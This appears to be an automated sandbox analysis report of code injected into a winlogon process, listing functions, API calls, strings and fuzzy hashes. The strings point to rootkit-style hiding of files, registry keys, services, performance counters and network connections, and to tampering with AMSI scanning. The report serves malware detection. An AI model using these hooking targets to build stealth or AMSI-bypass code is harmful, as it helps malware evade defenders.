Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 16a9fbc9ca01aa2ad8d01d5c7c5c6cd5cef1b3026fde7233e4cf92ec2729da17
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: A7711637A51B5986FB119F65E8A0AD833A5FF84B8DF811111DE4D43B28DE3AC584C392

Function 000001CA7D1E1E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001CA7D1E1E7F

Part of subcall function 000001CA7D1E22A8: GetModuleHandleA.KERNEL32(?,?,?,000001CA7D1E1EB1), ref: 000001CA7D1E22C0
Part of subcall function 000001CA7D1E22A8: GetProcAddress.KERNEL32(?,?,?,000001CA7D1E1EB1), ref: 000001CA7D1E22D1

CreateThread.KERNELBASE ref: 000001CA7D1E2043
TlsAlloc.KERNEL32 ref: 000001CA7D1E2049
TlsAlloc.KERNEL32 ref: 000001CA7D1E2055
TlsAlloc.KERNEL32 ref: 000001CA7D1E2061
TlsAlloc.KERNEL32 ref: 000001CA7D1E206D
TlsAlloc.KERNEL32 ref: 000001CA7D1E2079
TlsAlloc.KERNEL32 ref: 000001CA7D1E2085

Strings

NtQueryDirectoryFile, xrefs: 000001CA7D1E1EDF
NtEnumerateValueKey, xrefs: 000001CA7D1E1F36
NtDeviceIoControlFile, xrefs: 000001CA7D1E1FB6
NtQueryDirectoryFileEx, xrefs: 000001CA7D1E1EFC
EnumServicesStatusExW, xrefs: 000001CA7D1E1F71, 000001CA7D1E1F92
pdh.dll, xrefs: 000001CA7D1E1FD7, 000001CA7D1E1FF8
ntdll.dll, xrefs: 000001CA7D1E1E8D
PdhGetRawCounterArrayW, xrefs: 000001CA7D1E1FD0
sechost.dll, xrefs: 000001CA7D1E1F99
NtEnumerateKey, xrefs: 000001CA7D1E1F19
AmsiScanBuffer, xrefs: 000001CA7D1E2012
amsi.dll, xrefs: 000001CA7D1E2019
EnumServiceGroupW, xrefs: 000001CA7D1E1F50
advapi32.dll, xrefs: 000001CA7D1E1F57, 000001CA7D1E1F78
NtQuerySystemInformation, xrefs: 000001CA7D1E1EA5
NtResumeThread, xrefs: 000001CA7D1E1EC2
PdhGetFormattedCounterArrayW, xrefs: 000001CA7D1E1FF1

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 28d763e4b3efa6897c284255733b152927e4241509441b1b3e99965525c9534b
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 115171B2E91B4EA5FB03DB64E860FD43322BF4074DFC00956A40942565EE7AC25AD3E3

Function 000001CA7D1EEF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,000001CA7D1EF34A,?,?,00000000,000001CA7D1EF2CD), ref: 000001CA7D1EEFF5
GetLastError.KERNEL32(?,?,00000000,000001CA7D1EF2CD), ref: 000001CA7D1EF007
LoadLibraryExW.KERNEL32(?,?,00000000,000001CA7D1EF2CD), ref: 000001CA7D1EF049
VirtualProtect.KERNELBASE ref: 000001CA7D1EF0A5
VirtualProtect.KERNEL32 ref: 000001CA7D1EF0D6
FreeLibrary.KERNEL32(?,?,00000000,000001CA7D1EF2CD), ref: 000001CA7D1EF11A
GetProcAddress.KERNEL32(?,?,00000000,000001CA7D1EF2CD), ref: 000001CA7D1EF126

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 000001CA7D1EF157, 000001CA7D1EF165
ext-ms-, xrefs: 000001CA7D1EF02E
api-ms-, xrefs: 000001CA7D1EF01B

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 75b8f92d8bfc56aebef74cbf69bbb5d49082de77f78bb49cf1e15368de41eb5e
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 91519C72B4170C51FA169B96A800BE57261BF48BB9FC847249E39473D4EF3AD505C783

Function 000001CA7D1E6270 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E62AB
GetThreadContext.KERNEL32 ref: 000001CA7D1E6415

Part of subcall function 000001CA7D1E60A0: GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E60A4

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 62de8192582035d3c174f7317d52215c3d31caf77dd5d103fa0b8274126801a3
Instruction ID: d05defe120a4688720ce9ecdd58902b16fb62d512cdd13eabecee864d7326d01
Opcode Fuzzy Hash: 62de8192582035d3c174f7317d52215c3d31caf77dd5d103fa0b8274126801a3
Instruction Fuzzy Hash: 1DD1CC37644B8C82FA71DB0AE49079A77A0F788B89F900512EACD47765DF3DC541CB82

Function 000001CA7D1E5810 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5896

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4460526132078707f03e529f17315c9f8621164f7a74e4fe9c23d362e9fa087d
Instruction ID: c4fb3315ca78ad6c88cc819d43d3822fc1bb5b5b3bb77f142309b4c7efaf3f70
Opcode Fuzzy Hash: 4460526132078707f03e529f17315c9f8621164f7a74e4fe9c23d362e9fa087d
Instruction Fuzzy Hash: A802F933659B8886F761CB15F49079AB7A0F7C4799F500015EA8E87BA8DF7DC484CB42

Function 000001CA7D1E3EC8 Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F0E
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F47
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F68

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 4b0ed5361dff3adcda6195a5dc2af1083a8005ab2c1b804d84ff7dccd2579ba4
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 72115E37A5574493FB268B61E404A9AB7B0FB44B89F440026DA4D43798EF7EC954C7C3

Function 000001CA7D1B2EBC Relevance: 6.2, APIs: 4, Instructions: 240memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000001CA7D1B2F7B
VirtualProtect.KERNELBASE ref: 000001CA7D1B2FA5
LoadLibraryA.KERNELBASE ref: 000001CA7D1B302E
VirtualProtect.KERNELBASE ref: 000001CA7D1B31C2

Memory Dump Source

Source File: 0000000F.00000003.1645690785.000001CA7D1B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: fab056db1c559ce614da3632ff79b2cd998d8c65ade00f4a8a9fe06968449f78
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: B291F5B3F4139887EB558F29D400FA9B395FF55B98F9481249E4D07B88DA36D822C742

Function 000001CA7D1E4120 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001CA7D1E41A6
VirtualAlloc.KERNEL32 ref: 000001CA7D1E41E0

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction ID: 31ae54dde4bc601838691571fe20e4d19e02a82357ab131b83e5d70d6c66b96e
Opcode Fuzzy Hash: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction Fuzzy Hash: BD317533A55B4981FA32CB65F050B8A72A4F78878DF900535E5CD46B94DF3EC1408B83

Function 000001CA7D1E3A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001CA7D1E3A35
PathFindFileNameW.SHLWAPI ref: 000001CA7D1E3A44

Part of subcall function 000001CA7D1E3F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D1E272F), ref: 000001CA7D1E3FA0

Part of subcall function 000001CA7D1E3EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3EDB
Part of subcall function 000001CA7D1E3EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F0E
Part of subcall function 000001CA7D1E3EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F2E
Part of subcall function 000001CA7D1E3EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F47
Part of subcall function 000001CA7D1E3EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000001CA7D1E3A5B), ref: 000001CA7D1E3F68

CreateThread.KERNELBASE ref: 000001CA7D1E3A8B

Part of subcall function 000001CA7D1E1E74: GetCurrentThread.KERNEL32 ref: 000001CA7D1E1E7F
Part of subcall function 000001CA7D1E1E74: CreateThread.KERNELBASE ref: 000001CA7D1E2043
Part of subcall function 000001CA7D1E1E74: TlsAlloc.KERNEL32 ref: 000001CA7D1E2049
Part of subcall function 000001CA7D1E1E74: TlsAlloc.KERNEL32 ref: 000001CA7D1E2055
Part of subcall function 000001CA7D1E1E74: TlsAlloc.KERNEL32 ref: 000001CA7D1E2061
Part of subcall function 000001CA7D1E1E74: TlsAlloc.KERNEL32 ref: 000001CA7D1E206D
Part of subcall function 000001CA7D1E1E74: TlsAlloc.KERNEL32 ref: 000001CA7D1E2079
Part of subcall function 000001CA7D1E1E74: TlsAlloc.KERNEL32 ref: 000001CA7D1E2085

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: 5a3ca2a828a2f69e8ddffaa21c5641dcb192bd3c096c6af3b0a23b43865aa00f
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: FD116937E9070982FB66A722A549FE932A0BF84B4FFC000199406C11D0EF3BC58587D3

Function 000001CA7D1E5530 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001CA7D1E5534
VirtualProtect.KERNEL32 ref: 000001CA7D1E5577
FlushInstructionCache.KERNEL32 ref: 000001CA7D1E558C

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 50caac35bfbc2d5f59ac81492b3b3ec34dc9555305fb9744858cadce20ffe8b5
Instruction ID: d66c06046afa48536f3f5d6c761f082350603e171004f0d7298866914a91c0bf
Opcode Fuzzy Hash: 50caac35bfbc2d5f59ac81492b3b3ec34dc9555305fb9744858cadce20ffe8b5
Instruction Fuzzy Hash: BAF01237658B4880F6319B05E451B8A77A1FB887D9F544111BACD07769CA3AC580CB82

Function 000001CA7D1E1BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001CA7D1E1724: GetProcessHeap.KERNEL32 ref: 000001CA7D1E172F
Part of subcall function 000001CA7D1E1724: HeapAlloc.KERNEL32 ref: 000001CA7D1E173E
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E17AE
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E17DB
Part of subcall function 000001CA7D1E1724: RegCloseKey.ADVAPI32 ref: 000001CA7D1E17F5
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1815
Part of subcall function 000001CA7D1E1724: RegCloseKey.KERNELBASE ref: 000001CA7D1E1830
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1850
Part of subcall function 000001CA7D1E1724: RegCloseKey.ADVAPI32 ref: 000001CA7D1E186B
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E188B
Part of subcall function 000001CA7D1E1724: RegCloseKey.ADVAPI32 ref: 000001CA7D1E18A6
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E18C6

SleepEx.KERNELBASE ref: 000001CA7D1E1BDF

Part of subcall function 000001CA7D1E1724: RegCloseKey.ADVAPI32 ref: 000001CA7D1E18E1
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1901
Part of subcall function 000001CA7D1E1724: RegCloseKey.ADVAPI32 ref: 000001CA7D1E191C
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E193C
Part of subcall function 000001CA7D1E1724: RegCloseKey.ADVAPI32 ref: 000001CA7D1E1957
Part of subcall function 000001CA7D1E1724: RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1977
Part of subcall function 000001CA7D1E1724: RegCloseKey.ADVAPI32 ref: 000001CA7D1E1992
Part of subcall function 000001CA7D1E1724: RegCloseKey.KERNELBASE ref: 000001CA7D1E199C

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: 7242aede8837696ec19541534e1c3dce86efc3bfd9bee90a47d931ad18d557f5
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: D5312177A8070941FB529B22E940BE933A5BF44BC9F8A44618E0AC7295EE12C4D093F7

Function 000001CA7D29F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000001CA7D29F390

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: 63877a1f626742783a368f55fc0a60ee853d92ff197a70e3001fe82e698bde16
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: B8D0C936B3165483F3019B11D855BD66228FB98705FC04009E949826949F7DC25ACB92

Function 000001CA7D21F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000001CA7D21F390

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: 96736f0284182aa4837be0ebcb41d10c413a553dbe389820e9d30482321e3cc7
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: CFD0C936B3164483F3019B11D845BD56228BB98705FC04005E949826948F7DC25ACB92

Function 000001CA7D1EF370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000001CA7D1EF390

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: bead2ac1358e17f089f294fb4c756c1d3e3800fd4e757aed294e48ae8c095ac3
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: 58D01236B32644C3F301DB51D855BD67729FB98705FC04005E94982694DF7DC259CF92

Non-executed Functions

Function 000001CA7D292FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001CA7D293094
lstrlenW.KERNEL32 ref: 000001CA7D2932BE

Part of subcall function 000001CA7D291A30: OpenProcess.KERNEL32 ref: 000001CA7D291A56
Part of subcall function 000001CA7D291A30: K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D291A74
Part of subcall function 000001CA7D291A30: PathFindFileNameW.SHLWAPI ref: 000001CA7D291A83
Part of subcall function 000001CA7D291A30: lstrlenW.KERNEL32 ref: 000001CA7D291A8F
Part of subcall function 000001CA7D291A30: StrCpyW.SHLWAPI ref: 000001CA7D291AA2
Part of subcall function 000001CA7D291A30: CloseHandle.KERNEL32 ref: 000001CA7D291AB0

GetProcAddress.KERNEL32 ref: 000001CA7D2930A9

Part of subcall function 000001CA7D293F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D29272F), ref: 000001CA7D293FA0

StrCmpNIW.SHLWAPI ref: 000001CA7D2930EC
lstrlenW.KERNEL32 ref: 000001CA7D293214

Strings

NtQueryObject, xrefs: 000001CA7D29309F
\Device\Nsi, xrefs: 000001CA7D2930DF
ntdll.dll, xrefs: 000001CA7D29308D

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
